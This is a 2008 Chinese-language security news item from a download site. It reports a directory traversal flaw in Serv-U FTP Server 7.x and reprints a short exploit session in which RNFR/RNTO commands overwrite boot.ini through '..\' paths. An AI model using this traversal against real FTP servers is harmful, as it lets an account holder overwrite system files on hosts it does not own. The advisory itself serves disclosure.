您的位置: 首页 >> 创e下载学院 >> 杀毒防毒 >> 安全资讯 >>
本类排行
本类推荐
Serv-U FTP Server 7到7.3 出现目录遍历漏洞
作者：    来源：    点击：    日期：2008-10-20 14:38:58

Serv-U FTP Server <= 7.3 有一个目录遍历漏洞，可以覆盖系统上的任意文件，利用这个漏洞必须有一个upload权限的账号。不清楚哪个版本开始支持rnfr 和 rnto 的命令，官方还没有补丁，建议用Serv-U FTP Server的同学改用其他FTP Server程序或者用低版本的。

漏洞利用过程：
#Serv-U 7.2.0.1 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

Serv-U FTP Server 7到7.3 出现目录遍历漏洞 评论

软件按首字母分类 －A －B －C －D －E －F －G －H －I －J －K －L －M －N －O －P －Q －R －S －T －U －V －W －X －Y －Z -